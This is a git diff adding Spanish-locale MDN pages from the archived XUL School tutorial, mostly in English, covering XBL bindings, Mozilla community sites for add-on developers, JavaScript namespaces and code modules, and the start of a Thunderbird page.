+<div class="note">Just like with JS objects, all fields are publicly accessible, and we use a "_" to indicate a field is "private". </div>
+</div>
+</div>
+
+<p>A <em>property</em> is a little more robust. It is defined using a getter and setter method, allowing read-only and write-only properties, as well as more complex behavior. There are two properties defined in our binding, which are just meant for easier access to the two text attributes in the element. We use the shorthand version of the <em>property</em> tag:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;property name="name" onget="return this.getAttribute('name');"
+  onset="this.setAttribute('name', val);" /&gt;</pre>
+</div>
+</div>
+
+<p>There's a less compact version of the property tag that should be used if the getter or setter code involves more than one line of code:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;property name="name"&gt;
+  &lt;getter&gt;&lt;![CDATA[
+    return this.getAttribute('name');
+  ]]&gt;&lt;/getter&gt;
+  &lt;setter&gt;&lt;![CDATA[
+    this.setAttribute('name', val);
+  ]]&gt;&lt;/setter&gt;
+&lt;/property&gt;</pre>
+</div>
+</div>
+
+<p>Properties can be accessed just the same as fields, and they're the ones we prefer for public members.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">When you add a node to a XUL document using an XBL binding, all normal DOM operations can be performed on it. You can move it around, delete it or clone it. But there is one thing you need to know about moving or cloning your node: <strong>all internal state in the node will be lost</strong>. This means that all your properties and fields will be reset. If you want some value to be preserved after such DOM operations, you must set it as an attribute and not an internal value.</div>
+</div>
+</div>
+
+<h3 id="Methods_2">Methods</h3>
+
+<p>Our "Person" binding has a single method that removes the item from the list:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;method name="remove"&gt;
+  &lt;parameter name="aEvent" /&gt;
+  &lt;body&gt;&lt;![CDATA[
+    this.parentNode.removeChild(this);
+  ]]&gt;&lt;/body&gt;
+&lt;/method&gt;</pre>
+</div>
+</div>
+
+<p>As you can see, it's very easy to define a method and the parameters it takes. You can also have a return value using the <em>return</em> keyword, just like on regular JS code. The method uses the parent node to remove the Person node. Simple enough.</p>
+
+<p>You can do almost anything from XBL code, including using XPCOM components, JS Code Modules and available chrome scripts. The main setback is that you can't have <em>script</em> tags defined in a binding, so you depend on the scripts that have been included in the XUL files that use the binding. Also unlike scripts, you can include stylesheets using the <a href="/en/XBL/XBL_1.0_Reference/Elements#stylesheet" title="en/XBL/XBL 1.0 Reference/Elements#stylesheet">stylesheet</a> XBL element. DTD and properties files can be handled just like in regular XUL.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">There are two conflicting patterns that you should always keep in mind: encapsulation and separation of presentation and logic. Encapsulation mandates that you try to keep your XBL free of outside dependencies. That is, you shouldn't assume that script X will be included somewhere, because not including it will cause the binding to fail. This suggests that you should keep everything inside your binding. On the other hand, a binding is really just a presentation module. Most XUL elements have basic presentation logic, and any other functionality is processed elsewhere. Plus, XBL files are significantly harder to manage than regular JS files. We prefer to err on the side of simplicity and keep the XBL as simple as possible. If that means having outside dependencies, so be it. But you can still keep some separation and versatility by using custom events to communicate to the outside world. This way you reduce your dependency on specific scripts, and your tag behaves more like the rest.</div>
+</div>
+</div>
+
+<p>Just like fields and properties, methods are easy to invoke if you have a reference to the object that corresponds to the node.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">We have experienced problems when calling methods and setting properties on XBL nodes right after they are created and inserted to the document. This is likely due to some asynchronous operation related to node insertion. If you need to perform an operation to a node right after insertion, we recommend using a timeout to delay the operation (a timeout set to 0 works well).</div>
+</div>
+</div>
+
+<h2 id="Handlers_2">Handlers</h2>
+
+<p>The <a href="/en/XBL/XBL_1.0_Reference/Elements#handlers" title="en/XBL/XBL 1.0 Reference/Elements#handlers">handlers</a> and <a href="/en/XBL/XBL_1.0_Reference/Elements#handler" title="en/XBL/XBL 1.0 Reference/Elements#handler">handler</a> XBL elements are used to define event handlers for the element. We have a "click" handler that displays the greeting when the "Person" element is clicked:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;handler phase="bubbling" event="click"&gt;&lt;![CDATA[
+  window.alert(this.greeting);
+]]&gt;&lt;/handler&gt;</pre>
+</div>
+</div>
+
+<p>Handlers are not necessary all that often, since in most cases you'll need the events to only apply to a part of the binding, not the whole thing. In those cases you just add regular event attributes to the nodes inside the <em>content</em> tag.</p>
+
+<h2 id="Inheritance_2">Inheritance</h2>
+
+<p>Inheritance is one of the most powerful features of XBL. It allows you to create bindings that extend existing bindings, allowing lots of code reuse and subtle behavior modifications. All you need is to use the <em>extends</em> attribute of the binding element:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre>&lt;binding id="manager"
+  extends="chrome://xulschoolhello/content/person.xml#person"&gt;</pre>
+</div>
+</div>
+
+<p>This gives you an exact copy of the "Person" binding that you can override as you please.</p>
+
+<p>You could, for instance, just add a <em>content</em> tag with significantly different XUL content, and leave the <em>implementation</em> alone. You do need to be careful about keeping all <em>anonid</em> attributes consistent, and even some DOM structure if the code does node traversal. Sadly, you can't override only some part of the content. If you want to override it, you have to override all of it.</p>
+
+<p>A more common inheritance use case is when you want to change the behavior of some methods and properties. You can leave the content alone by not including the <em>content</em> tag, and then just add the methods and properties you wish to override. All you need to do is match the names of the originals. All methods and properties that are not overriden will maintain their original behavior.</p>
+
+<p>With inheritance you could take the <a href="/en/XUL/richlistbox" title="en/XUL/richlistbox">richlistbox</a> element and modify it to make a rich item tree, or create a switch button that changes state everytime it's clicked. And all with very little additional code. Keep it in mind when creating your custom elements because it can save you lots of time.</p>
+
+<h2 id="Replacing_Existing_XUL_Elements_2">Replacing Existing XUL Elements</h2>
+
+<p>As seen in the beginning of this section, the actual binding process is determined by a simple CSS rule that associates the tag name with the binding. This means that you can change the binding for pretty much any element in Firefox by just adding a CSS rule! This is very powerful: it allows you to change almost any aspect of the interface of any XUL window. In conjuntion with inheritance, it's even easy to do. You can enrich the UI of a Firefox window by extending and replacing elements, which is what the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1815">Console²</a> extension does in order to improve the Error Console window.</p>
+
+<p>Replacing elements should always be a last resort solution, specially if it is done on the main browser window. It's very easy to break the UI of the application or other extensions if you do this the wrong way, so be very careful about it. If you only need to change some specific instances of an element, use very specific CSS rules.</p>
+
+<p>You can use the <a href="/en/CSS/-moz-binding" title="en/CSS/-moz-binding">-moz-binding</a> property with any CSS selector.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Enlazando_contenido_remoto", "Escuela_XUL/Notificaciones_de_usuario_y_alertas") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/sitios_útiles_de_la_comunidad_mozilla/index.html b/files/es/mozilla/tech/xul/escuela_xul/sitios_útiles_de_la_comunidad_mozilla/index.html
new file mode 100644
index 0000000000..02cd9bfa0f
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/sitios_útiles_de_la_comunidad_mozilla/index.html
@@ -0,0 +1,46 @@
+---
+title: Sitios útiles de la comunidad Mozilla
+slug: Mozilla/Tech/XUL/Escuela_XUL/Sitios_útiles_de_la_comunidad_Mozilla
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Useful_Mozilla_Community_Sites
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ Previous("Escuela_XUL/Documentación_de_Mozilla") }}</p>
+
+<p>The Mozilla Community is very rich and active. It's a very powerful tool you have when developing on top of the Mozilla platform, and you should take advantage of it in order to create a truly successful add-on .</p>
+
+<h2 id="AMO">AMO</h2>
+
+<p><a class="link-https" href="https://addons.mozilla.org/" title="https://addons.mozilla.org/">AMO</a> (Mozilla Add-ons) is the official Mozilla repository for add-ons. It allows you to upload, search and download all types of add-ons for Mozilla applications. This is the best way to get your extension to users from all around the world.</p>
+
+<p>Adding your extension to AMO is easy. All you need is your XPI, a few screenshots (good ones will make your extension much more appealing), and a few minutes to fill a couple of forms. But this won't make your extension public right away. AMO has a <a class="external" href="http://blog.mozilla.com/addons/2010/02/15/the-add-on-review-process-and-you/" title="http://blog.mozilla.com/addons/2010/02/15/the-add-on-review-process-and-you/">Review Process</a> that prevents malicious, insecure or low quality extensions to make it to the public site. Your extension begins in a sandbox with limited access, and once you nominate it an editor will review it and see if it is appropriate for the public AMO site, where everyone can see it and install it. The review process often takes a few weeks. Just be patient and make sure your extension follows <a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/policies/" title="https://addons.mozilla.org/en-US/developers/docs/policies/">AMO's policies</a> when you nominate it. You can still get a good number of downloads while being in the sandbox.</p>
+
+<p>One of the main advantages of using AMO is that it handles updates automatically for published add-ons. You just need to upload a new version of your extension, and once it's approved it will be pushed as an update to all your users. If you decide to host your own extension, you'll have to learn about the <a href="/en/Extension_Versioning,_Update_and_Compatibility#Update_RDF_Format" title="en/Extension Versioning, Update and Compatibility#Update RDF Format">update system</a> in order to push your own updates.</p>
+
+<h2 id="Babelzilla">Babelzilla</h2>
+
+<p><a class="external" href="http://www.babelzilla.org/" title="http://www.babelzilla.org/">Babelzilla</a> is a worldwide community of localizers. Developers submit their extensions using the Web Translation System (WTS) and volunteers around the world translate them to different languages. The community is very active, and you can be sure to get translations for the most commonly used languages within a few days of submitting your extension. You'll also receive feedback that you wouldn't notice by testing only in one language, which can reveal other bugs in your locale handling.</p>
+
+<p>There's a significant portion of users that use a localized version of Firefox, so you shouldn't neglect them. Using Babelzilla takes little time and is very valuable.</p>
+
+<h2 id="Mozdev">Mozdev</h2>
+
+<p><a class="external" href="http://www.mozdev.org/" title="http://www.mozdev.org/">mozdev.org</a> provides free project hosting and software development tools for Mozilla applications and add-ons. It is the only hosting service tailored to the needs of the Mozilla community.</p>
+
+<p>It offers many necessary services such as bug tracking, source code repositories, download mirrors and many communication tools. There are other free hosting sites such as Souceforge and Google Code that are also very good, but not as specialized as Mozdev. You should pick the one that best fits your development needs.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>That's it!</p>
+
+<p>This is the end of the XUL School Tutorial. Hopefully this guide has helped you get started with add-on development and you're on your way to joining the large Mozilla add-ons developer community. The sheer volume of material can be overwhelming, but you can always come back and use this tutorial as a reference for your future development. Now all you need is a <a class="link-https" href="https://forums.addons.mozilla.org/viewforum.php?f=28" title="https://forums.addons.mozilla.org/viewforum.php?f=28">good idea</a> (in case you didn't have one already) and get started.</p>
+
+<p>Happy coding!</p>
+
+<p>{{ Previous("Escuela_XUL/Documentación_de_Mozilla") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/uso_de_objetos_en_javascript/index.html b/files/es/mozilla/tech/xul/escuela_xul/uso_de_objetos_en_javascript/index.html
new file mode 100644
index 0000000000..ceca9d687d
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/uso_de_objetos_en_javascript/index.html
@@ -0,0 +1,338 @@
+---
+title: Uso de objetos en JavaScript
+slug: Mozilla/Tech/XUL/Escuela_XUL/Uso_de_objetos_en_JavaScript
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/JavaScript_Object_Management
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_barras_laterales", "Escuela_XUL/Objetos_XPCOM") }}</p>
+
+<h2 id="Chrome_JavaScript">Chrome JavaScript</h2>
+
+<p>In this section we'll look into how to handle JavaScript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting from such global namespace pollution.</p>
+
+<p>The first step to good JavaScript object management is having a namespace that you know will not conflict with Firefox code or other extensions. Namespace declaration is best located in a file of its own, so that you have this one JS file that should be included in all of your XUL files.</p>
+
+<p>We'll be using the placeholder <span class="namespace-name" style="color: gray;">〈Namespace〉</span> below. This needs to be replaced with an identifier name which is unique to your add-on. If your add-on is called <em>Sergeant Pepper</em>, for instance, then <code>SgtPepper</code> would be a good namespace name.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * <span class="namespace-name" style="color: gray;">〈Namespace〉</span> namespace.
+ */
+if (typeof <span class="namespace-name" style="color: gray;">〈Namespace〉</span> == "undefined") {
+  var <span class="namespace-name" style="color: gray;">〈Namespace〉</span> = {};
+};
+</pre>
+</div>
+</div>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">The naming standard that we normally follow is that the first part of the namespace corresponds to the development group (or company), and the second to the specific project. However, most extensions are small projects by individuals, so these examples follow a more practical approach of having just one namespace with the project name.</div>
+</div>
+</div>
+
+<p>Notice how the <span class="namespace-name" style="color: gray;">〈Namespace〉</span> namespace is declared using <em>var</em>. We need the namespace to be a global object that it can be used everywhere in the window chrome.</p>
+
+<p>You can include functions in any namespace, since namespaces are just regular JS objects. That should come in handy when you have general utility functions or properties that you want to use across all objects within the namespace. For instance, there are frequently used XPCOM services such as the Observer service that can be included as members in the namespace:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * <span class="namespace-name" style="color: gray;">〈Namespace〉</span> namespace.
+ */
+if (typeof <span class="namespace-name" style="color: gray;">〈Namespace〉</span> == "undefined") {
+  var <span class="namespace-name" style="color: gray;">〈Namespace〉</span> = {
+    /**
+     * Initializes this object.
+     */
+    init : function() {
+      this.obsService =
+        Cc["@mozilla.org/observer-service;1"].getService(Ci.nsIObserverService);
+    }
+  };
+
+  /**
+   * Constructor.
+   */
+  (function() {
+    this.init();
+  }).apply(<span class="namespace-name" style="color: gray;">〈Namespace〉</span>);
+};
+</pre>
+</div>
+</div>
+
+<p>JS objects can also be treated as string-indexed arrays:</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">// equivalent.
+<span class="namespace-name" style="color: gray;">〈Namespace〉</span>.Hello = {};
+<span class="namespace-name" style="color: gray;">〈Namespace〉</span>["Hello"] = {};
+
+// equivalent.
+<span class="namespace-name" style="color: gray;">〈Namespace〉</span>.Hello.init();
+<span class="namespace-name" style="color: gray;">〈Namespace〉</span>.Hello["init"]();
+</pre>
+</div>
+</div>
+
+<p>This is very useful in cases where you have to set attributes or functions with dynamically generated names. It's one of the funky properties of JavaScript: all objects are nothing more than name / value mappings. You can add or replace functions and attributes to any Javascript object, at any moment you want. This is an odd, but powerful feature that comes in handy at times when things get complicated. For instance, you could replace a method in any object in the Firefox chrome, so that it behaves differently than how it normally does. This should be a last resort option, but it is very useful at times.</p>
+</div>
+</div>
+
+<p>You usually need only one JS file to control a XUL window, since the code required is normally not that much. If you have complex behavior that requires too much code, look for ways to divide it into multiple objects and files. You can include as many scripts in a XUL window as you need.</p>
+
+<p>To initialize your chrome objects, it's usually better to run the initialization code from the "load" event handler for the window. The <a href="/en/XUL/Attribute/onload" title="en/XUL/Attribute/onload">load event</a> is fired after the DOM on the window has loaded completely, but before it's displayed to the user. This allows you to manipulate and possibly change elements in the window without the user noticing the changes.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * Controls the browser overlay <span class="code-keyword">for</span> the Hello World extension.
+ */
+<span class="namespace-name" style="color: gray;">〈Namespace〉</span>.BrowserOverlay = {
+  /**
+   * Initializes this object.
+   */
+  init : function(aEvent) {
+    this._stringBundle = document.getElementById("xulschoolhello-string-bundle");
+    // you can make changes to the window DOM here.
+  }
+  // more stuff
+};
+
+window.addEventListener(
+  "load", function() { <span class="namespace-name" style="color: gray;">〈Namespace〉</span>.BrowserOverlay.init(); }, false);
+</pre>
+</div>
+</div>
+
+<p>There are some things you can't (or shouldn't) do inside load handlers, such as closing the window being loaded, or opening new windows, alerts or dialogs. The window has to finish loading before it can do any of these things. They are bad UI practices anyway and you should avoid them. If you really need to do something like this anyway, one way to do it is to have a timeout execute the code after a delay:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">init : function(aEvent) {
+  let that = this;
+
+  this._stringBundle = document.getElementById("xs-hw-string-bundle");
+  window.setTimeout(
+    function() {
+      window.alert(that._stringBundle.getString("xulschoolhello.greeting.label")); }, 0);
+}
+</pre>
+</div>
+</div>
+
+<p>The <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">setTimeout</a> function executes the function in the first parameter, after a delay in miliseconds specified by the second parameter. In this case we set the delay to 0, which means the function should be executed as soon as possible. Firefox has a minimum delay of 10-15ms (taken from <a class="external" href="http://ejohn.org/blog/analyzing-timer-performance/">this blog post</a>), so it won't really run instantly. It is more than enough to let the window finish its load.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Use <a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout">window.setTimeout</a> and <a href="/en/DOM/window.setInterval" title="en/DOM/window.setInterval">window.setInterval</a> to control timed code execution. In case you're using JavaScript Code Modules or XPCOM objects, where a window object is not readily available, use an <a href="/en/XPCOM_Interface_Reference/nsITimer" title="en/nsITimer">nsITimer</a> instead. </div>
+</div>
+</div>
+
+<div class="note"><a class="external" href="http://dbaron.org/log/20100309-faster-timeouts" title="http://dbaron.org/log/20100309-faster-timeouts">This post</a> suggests a way to achieve a true zero ms timeout, as a simple way to achieve parallelism in JS code.</div>
+
+<p>Notice the way we send callback functions as parameters, and the use of an alternate reference for <em>this</em> which we always name <em>that</em>. This is all necessary due to a JavaScript feature (quirk would be a better word for it) called <a href="/en/JavaScript/Reference/Operators/Special/this" title="en/Core JavaScript 1.5 Reference/Operators/Special Operators/this Operator">Method Binding</a>. The consequence of doing this wrong is to have a <em>this</em> reference that doesn't do what you expected it to do. There are a few workarounds for this, and we use the ones we have found to be the most elegant and clear to read.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">The general guideline we follow is this: whenever you have to set a callback function parameter, wrap it in an anonymous function. That is, something like <em>function() { /* your code, usually a single function call. */ }</em>. If you have to use a reference to <em>this</em> inside the function, declare a variable called <em>that</em> that equals <em>this</em>, and use <em>that</em> in the anonymous function.</div>
+</div>
+</div>
+
+<p>JavaScript has a host of features that make it extremely flexible, but it also has some disadvantages, as it is not as strict as other languages, such as Java. A clear example of this is the fact that there are no <em>private</em> or <em>public</em> keywords that allow you to protect object members. As a alternative for this, a naming standard is frequently used to distinguish private and public members. There's no scope enforcement whatsoever, but this standard give others the chance to "play nice" and don't use private members.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Use "<em>_"</em> at the beginning of private attributes and methods in JS objects. For example: <em>_stringBundle</em>, <em>_createUserNode()</em>.</div>
+</div>
+</div>
+
+<h3 id="Exercise">Exercise</h3>
+
+<p>Here's a short exercise to test a particular aspect of the chrome. Modify the Hello World extension so that the message says how many times it has been displayed. The message could say something like "Hello! This message has been shown 5 times." Keep the counter as a variable in the <em>BrowserOverlay</em> object, and increment it every time the message is going to be shown.</p>
+
+<p>Once you have this working right, try the following: open the message a few times, so that the number increments. Now open a new window and display the message from the new window. What do you think will happen? What will the count be this time?</p>
+
+<p>You probably didn't expect this, but the count was reset in the new window. Each window keeps its own counter, and now the extension is not behaving as expected. This is a fundamental lesson: <strong>the chrome is not global, it's window-specific.</strong> All of your scripts and objects are replicated for each window, and they work independently from each other. This is an issue that is very easy to overlook, since most Firefox users, specially power users, have a single window open at all times. You have to make sure you test your extension with multiple windows open; never assume everything will work the same as with a single window.</p>
+
+<p>Now, in most cases you'll need to coordinate data in a way that it is consistent for all open Firefox windows. There are several ways in which you can do this. Preferences is one of them, and they are covered in another section of this tutorial. Two other ways are JavaScript Code Modules (Firefox 3 and above), and XPCOM.</p>
+
+<h2 id="JavaScript_Code_Modules">JavaScript Code Modules</h2>
+
+<p><a href="/en/JavaScript_code_modules/Using" title="en/Using JavaScript code modules">JavaScript Code Modules</a> (also known as JSM) are new to Firefox 3, and they're the best tool for keeping everything in sync between windows. They're very simple to set up. The first thing you need to do is add an entry in the <em>chrome.manifest</em> file:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">resource  xulschoolhello     modules/
+</pre>
+</div>
+</div>
+
+<p>Javascript code modules are accessed with the <em>resource</em> protocol, which is very similar to the <em>chrome</em> protocol. Just like with the chrome, we define the package name and then a path. To keep things simple, just locate the JSM files in a <em>modules</em> directory under the root of our project. In order to access a file <em>messageCount.js</em> in this directory, the URL would be:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">resource:<span class="code-comment">//xulschoolhello/messageCount.js</span>
+</pre>
+</div>
+</div>
+
+<p>Code modules are regular JS files, so there's nothing new in regards to naming or file types. Mozilla has adopted a standard of using the extension <em>.jsm</em> for these files, but they say <em>.js</em> is fine as well. To keep things simple, specially regarding code editors and default file associations in the developer's system, we have decided to stick with <em>.js</em>.</p>
+
+<p>Download this version of the <a href="/@api/deki/files/5143/=HelloWorld3.zip" title="https://developer.mozilla.org/@api/deki/files/5143/=HelloWorld3.zip">Hello World project with JSM</a> to see the changes you need to make to the build system in order to include the files in the <em>modules</em> folder. They are minimal, and we add a very small <em>Makefile.in</em> file in the <em>modules</em> directory, just to keep everything separated and organized.</p>
+
+<p>With the setup out of the way, let's get to it. What are JavaScript Code Modules?</p>
+
+<p>A JavaScript Code Module is a regular JS file that specifies which of the declared elements in it are public. All module files should begin with the a declaration like this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java"><span class="code-keyword">var</span> EXPORTED_SYMBOLS = [ <span class="code-quote">"<span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>"</span> ];
+</pre>
+</div>
+</div>
+
+<p>EXPORTED_SYMBOLS is a special identifier that tells Firefox that this file is only publishing the object named <em><span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span></em>. Several objects, functions and variables can be declared on this file, but the only object visible from the outside will be <em><span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span></em>, which is a namespace in our case. Because of namespacing, we don't need to worry much about what to export, usually we just need the namespace object. All of the objects inside of it are exported as well, since they are members of the <em><span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span></em> object.</p>
+
+<p>Module files can be imported to a chrome script or to other code modules with the following line:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">Components.utils.import("<a class="external" rel="freelink">resource://xulschoolhello/messageCount.js</a>");
+</pre>
+</div>
+</div>
+
+<div class="note">When using <a href="/en/Components.utils.import" title="en/Components.utils.import">Components.utils.import</a>, code modules must be loaded using a <strong>file:</strong> or <strong>resource:</strong> URL pointing to a file on the disk. In particular, <strong>chrome:</strong> URLs (even those that point to a file outside a jar archive) are not valid.</div>
+
+<p>To get a better idea, let's look at the code of the modified Hello World example. We have defined two files, one to declare namespaces and another one for the message count functionality mentioned in the previous exercise.</p>
+
+<p>Here again we're using a placeholder, <span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>, for the identifier name that you'll need to choose.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">var EXPORTED_SYMBOLS = [ "<span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>" ];
+
+const { classes: Cc, interfaces: Ci } = Components;
+
+/**
+ * <span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span> namespace.
+ */
+var <span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span> = {};
+</pre>
+</div>
+</div>
+
+<p>This should all be familiar enough. We're declaring the namespace we'll use at the module level. We need a separate namespace for the chrome because the chrome namespace objects are repeated for each window, while the module namespace objects are unique for all windows. Setting window-specific data on code modules will lead to nothing but problems, so be careful when deciding what should be chrome and what shouldn't be. We needn't test for the pre-existence of our namespace object here, as modules are given their own namespace.</p>
+
+<p>The 2 declared constants above are used to reduce code size. We frequently need to use XPCOM components in our code, so instead of doing this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this.obsService =
+  Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
+</pre>
+</div>
+</div>
+
+<p>It's better to do this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">this.obsService =
+  Cc["@mozilla.org/observer-service;1"].getService(Ci.nsIObserverService);
+</pre>
+</div>
+</div>
+
+<p>These 2 constants don't need to be defined in the overlay because they are already defined globally in the <em>browser.js</em> file in Firefox. We only need to define them when we're making windows of our own, or when we're working with code outside of the chrome (or porting your code to SeaMonkey, which doesn't have those constants declared in the main window).</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Include the Cc and Ci constants in all XUL windows that are not overlays, all JSM files, and all XPCOM components (see further ahead). Do this even if you don't need them now. It's better to just make a habit out of it.</div>
+</div>
+</div>
+
+<p>This is a point that is worth highlighting: modules work outside of the window scope. Unlike scripts in the chrome, modules don't have access to objects such as <em>window</em>, <em>document</em>, or other global functions, such as <em>openUILink</em>. These are all UI components and UI operations anyway, so they are better done in the chrome.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">As a general guideline, we keep all of our business logic in JSM, available through service objects, and chrome scripts are limited to handle presentation logic.</div>
+</div>
+</div>
+
+<p>We handle most of our code through static objects, singleton objects that don't require instantiation. But it is sometimes necessary to define classes and be able to create multiple instances. Common cases include interacting with a local database or a remote API. Data will often be translated into arrays of entities, and those are better represented through classes. One way to define a class is as follows:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * User class. Represents a Hello World user (whatever that may be).
+ */
+<span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>.User = function(aName, aURL) {
+  this._name = aName;
+  this._url = aURL;
+};
+
+/**
+ * User class methods.
+ */
+<span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>.User.prototype = {
+  /* The name of the user. */
+
+  _name : null,
+  /* The URL of the user. */
+
+  _url : null,
+
+  /**
+   * Gets the user name.
+   * @<span class="code-keyword">return</span> the user name.
+   */
+  get name() {
+    return this._name;
+  },
+
+  /**
+   * Gets the user URL.
+   * @return the user URL.
+   */
+  get url() {
+    return this._url;
+  }
+};
+</pre>
+</div>
+</div>
+
+<p>In this example we defined a fictitious <em>User</em> class for the Hello World extension. Using the function keyword to define a class is odd, but this is just the JavaScript way: functions are also objects. The definition of the class acts as a constructor as well, and then you can define all other members using the <em>prototype</em> attribute. In this case we defined "getter" properties for the <em>name</em> and <em>url</em> members. This way we have immutable instances of our class. Well, only if consumers of the class play nice and don't change anything they shouldn't.</p>
+
+<p>Creating an instance and using it is simple enough:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let user = new <span class="namespace-name" style="color: gray;">〈ModuleNamespace〉</span>.User("Pete", "<a class="external" href="http://example.com/pete" rel="freelink">http://example.com/pete</a>");
+
+window.alert(user.name);
+</pre>
+</div>
+</div>
+
+<p>This is something you can do with JS in general. You can use it in JSM, chrome, even on regular web pages. Since entities tend to be used all throughout an application, we think that having those classes defined at the module level is the best approach.</p>
+
+<p>JSM is the best solution to handle objects that are window-independent. In the following section we'll discuss XPCOM, which is an older alternative to JSM and one of the foundations of Mozilla applications. You shouldn't skip that section because there are many common situations in extension development where you'll <em>have</em> to use XPCOM, maybe even implement XPCOM components of your own.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Agregar_barras_laterales", "Escuela_XUL/Objetos_XPCOM") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/thunderbird/index.html b/files/es/mozilla/thunderbird/index.html
new file mode 100644
index 0000000000..7e7c314908
--- /dev/null
+++ b/files/es/mozilla/thunderbird/index.html
@@ -0,0 +1,91 @@
+---
+title: Thunderbird
+slug: Mozilla/Thunderbird
+translation_of: Mozilla/Thunderbird
+---
+<p><strong>Thunderbird</strong> es la aplicación de mensajeria de Mozilla. Estas páginas documentan Thunderbird y tambien brindan enlaces a documentación acerca de <a href="/Special:Tags?tag=MailNews&amp;language=en" title="Special:Tags?tag=MailNews&amp;language=en">MailNews</a> backend el cual es usado en otros proyectos como <a class="external" href="http://wiki.mozilla.org/Penelope">Eudora/Penelope</a>, <a class="external" href="http://www.seamonkey-project.org/">Seamonkey</a>, <a class="external" href="http://nkreeger.com/correo/">Correo</a>, etc. </p>
